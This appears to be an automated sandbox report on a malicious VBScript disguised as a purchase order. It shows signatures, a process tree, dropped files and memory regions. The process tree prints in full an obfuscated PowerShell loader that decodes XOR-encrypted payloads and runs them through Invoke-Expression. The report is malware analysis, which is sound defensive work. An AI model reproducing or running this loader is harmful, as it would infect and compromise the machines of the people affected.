Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    11/08/2026, 04:36

General

  • Target
    purchase order#13345.vbs
  • Size 22KB
  • Sample260811-e8bcfsgj3t
  • SHA256 4668edaaaae9bb13aa8b8678c285ce62d67c49b7eb30f5832b9c1c04aefcbd9c
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\purchase order#13345.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:4164
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $j=38-31;$m9rijvAzy='1ag12uqYPB';$fe5KVzaVt='96c19eeff9adafdea984feaebdbbb58cbe909586ffb8eda895d580bd9f9cb598a8e9eeb6b896aa87f2a5b9d6f9b1ba949f9ac6f1f7c8fdbcae81939ce29bbff4ecb0b89c96c8a6eb96d5fdabf5a09f8beeb9a4efe18fa99c8e87f8a4a1cfe1afbeaec0d2cfa7beaaaad2d1d798deaff6eaffc091ab91978bfc9efef7e2bb9ca58ea7e289fcf8aab3aea983aacfae95d5a8858cc38fbdf69da0f9df89b197bd84eda9a7e8ffbc93a5938adca7a7d2df91a8aaa2a6e1828bd9f7868cc6ca8aa9fa85c2c08db796c9aaaa92a0e3e886a2b1808cdc8dfdfacf92bca2a2a6e1919aaaf1bd93989dbcdcf2a5c1dd99a190c8beef92a0e3ad949cb9cf8cdc9dafc3cb9db5b8a29cd9a8fed5f4bd8cb9898dc889a2cbcd99a190c8beef92a0e3ad93b097968cde9df9c1cf91ea97bd84ee91fddde2bce9a58eb1f6b3f8d0dbb4ecbabd84f6808afcff968fc28f8cccb3bed0c0abe2bab2a2f7af85cde1bdb2b1b88bd38988f9aaeeb392addcee9afecde1bcb6a58f8cde99bbf9cf99ab9193ddd6a9ffddf3949c908aa7a8faf4bc95d59a979ec5cfb2bdfeb8f28f8a8a8ddfaeabf2f6b6af9a9586bbe396cffda7afddbf86f8a4a9f2f6b886c9c0bdcf8df5b5dfbaafa08e9af2a5aab3c39cb49d8c8de9bf90a1a299a99c97aafab8a8adac8caf819386fce3e9f9aeebf2dad3e591adb8f5fbabb29c94c8ffe3e9f7b1a4ff84c7a6febce0d4fab5be908ec8d5aeb9b5cfbab9b09681fea5b9a0b098be87d7bafaa5a9f4f5ffff9fdac5d8a4b8f5ecffff9fd4abf4bea3efb1a3fe888e9ae2b0bffeecaaa99ddaccece589f4efb1b79c9b8cdfaab9fab0fb84da878bfabfaef3e3a2a68ef7e2fdbea3f8ecb6b49dda81b3efacb7bcabf7d797c4bfbbf0dbb0f6f288de91a6909df3f9b1af9c97affabfa8c6a2e5979c9b8cdab8befef5bdb78ad2ccfae2f6bfcae2ff8ad4affebf99e2e8baa8dbd394a4b0e9c4b699ae9f96a6faa6a8bbb5';$iebhp6val='AUUSQBNdHyhrKkBmHCMCVGlpcX8LUBpACgwMV1dyAlhXBxNJS2IrVQ1aVg0JR2JgZHAXaRU0EkJIZWY7KltcNBJCSGVmOzdAUxAOQwhFa2QQVVwHAgcNJT4zCwlbAk8BAGIrXhdnRgUTSUclfkwlV0YNEUFQY3dKXg5xFgJBUGlMeRdAUwoERQwoVz4ZDxYKSWlKemp8ARwWC0sEVCV4Gm45OEAMHWQkLTAMQEZDRwsEK3UtSxtBDQBORWtgfgpHWwMJSUUiZnhKTlNLDElednw4VRpYFAAHDSAtMAxARhRdDws9PCVKBgdRSREdOSsmUQQdDQpHCz0rfRRTFU1LCANkcWMUDh1LVRAdIjAjSgUCV0kRFzwqfglTHVVJSlRrIj5NOTgNAQgMKGIqABQWD04NRWJhP0BADz8zRVx4K1IKV10ADk5DUT8tMWB0XElnQXhWYxZdXANPBEMlLDoJVUYHDwcYMFZDJRMST0cHdlg7KUwaGFtOHBhJSzBEHxJDIx4aKyxsaT4SRENHQ2olKkQTcC42EHJYbyVLQ1MWSFVXImpkBU0dS11TQ39jfANSWgIURldoIjdfFBYDAEYEMSUzA1NUSjRVRn9xZQ1aVUxXDAQoYnACGn4BCUdQZCU6RAUATWoqAGAlKkQTAkNHGykGIXodCRUJHlBWY2JlBVkcLAgHBCclMAlRVxdAGykGJTdEFFtET3tnY2thAUZGOV0aYn5qeiZVQQFRFHd4d34KUxpAKkFQb21yF28DOU4JBChobkQTQBEJU1crJVdMEFUDAQwEKGk7RBMVSEcHZXx1WwVBXAcPBwgsIidDFB5EQFgSOCI+aT4SREcAY2lxOjRGXQcCU1dwdngWQBInN3UEIWFyF1dOFwJMQW9xN0lSWxYUVAQ5eXEQFHwFCkUIT1VCREk/bmoqBCwlN0QUEkRHAA==';$x2A5oGcZc=0x71BE-0xE61A;$ie3q2xL33=@();foreach($c in [char[]]$m9rijvAzy){$ie3q2xL33+=[byte]($c-bxor0xAA)};$jM07j2=$ie3q2xL33;$ie3q2xL33=@();foreach($c in [char[]]$m9rijvAzy){$ie3q2xL33+=[byte]($c-bxor0x55)};$fAopVYeyu=$ie3q2xL33;$ie3q2xL33oldR='';$i=0;for($j=0;$j-lt$fe5KVzaVt.Length;$j+=2){$ie3q2xL33oldR+=[char](([Convert]::ToInt32($fe5KVzaVt.Substring($j,2),16))-bxor$jM07j2[$i++%$jM07j2.Length])};$d79Gp0D=$ie3q2xL33oldR;$ie3q2xL33oldB=[Convert]::FromBase64String([regex]::Replace($iebhp6val, '$ie3q2xL33', ''));$ie3q2xL33oldR='';$i=0;for($j=0;$j-lt$ie3q2xL33oldB.Length;$j++){$ie3q2xL33oldR+=[char]($ie3q2xL33oldB[$j]-bxor$fAopVYeyu[$i++%$fAopVYeyu.Length])};$dyfvcmf=$ie3q2xL33oldR;$yqg5qd=$d79Gp0D+$dyfvcmf;.($env:ComSpec[4,26,25]-join'') $yqg5qd
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4176
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\u4nygagm\u4nygagm.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5492
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES52E9.tmp" "c:\Users\Admin\AppData\Local\Temp\u4nygagm\CSC8CA66B03C4884BC98EC65C76EF735A8.TMP"
          4⤵
            PID:5556

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          RES52E9.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES52E9.tmp
          • Size 1KB
          • SHA256 27f1d1d4912c3df9b4e0aadaf6c811655c26a995fb18b77e9807d22b65f7b46c
          • MD5 SHA1 SHA512 TLSH

          u4nygagm.dll

          • Path C:\Users\Admin\AppData\Local\Temp\u4nygagm\u4nygagm.dll
          • Size 3KB
          • SHA256 700814729ec5f5a4feec2de320aa18442e09777e8ccb4b45ca8dc6a06a4cff5b
          • MD5 SHA1 SHA512 TLSH

          CSC8CA66B03C4884BC98EC65C76EF735A8.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\u4nygagm\CSC8CA66B03C4884BC98EC65C76EF735A8.TMP
          • Size 652B
          • SHA256 15a9fae0bc26ac005448e0383d10b7062171cd16fbb859cf995fb6b3cf374158
          • MD5 SHA1 SHA512 TLSH

          u4nygagm.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\u4nygagm\u4nygagm.0.cs
          • Size 213B
          • SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
          • MD5 SHA1 SHA512 TLSH

          u4nygagm.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\u4nygagm\u4nygagm.cmdline
          • Size 369B
          • SHA256 71fc9427a4ee7842cd8543a0323f7ce8244344dace47efef6603975bae8eca9c
          • MD5 SHA1 SHA512 TLSH

          memory/4176-8-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

          memory/4176-0-0x00007FF9D75CF000-0x00007FF9D75D0000-memory.dmp

          memory/4176-9-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

          memory/4176-10-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

          memory/4176-11-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

          memory/4176-12-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

          memory/4176-13-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

          memory/4176-14-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

          memory/4176-15-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

          memory/4176-7-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

          memory/4176-6-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

          memory/4176-28-0x0000021828ED0000-0x0000021828ED8000-memory.dmp

          memory/4176-5-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

          memory/4176-4-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

          memory/4176-3-0x0000021828EE0000-0x0000021828F02000-memory.dmp

          memory/4176-29-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp

          memory/4176-31-0x0000021828C30000-0x0000021828C4A000-memory.dmp

          memory/4176-33-0x00007FF9D7440000-0x00007FF9D7DE4000-memory.dmp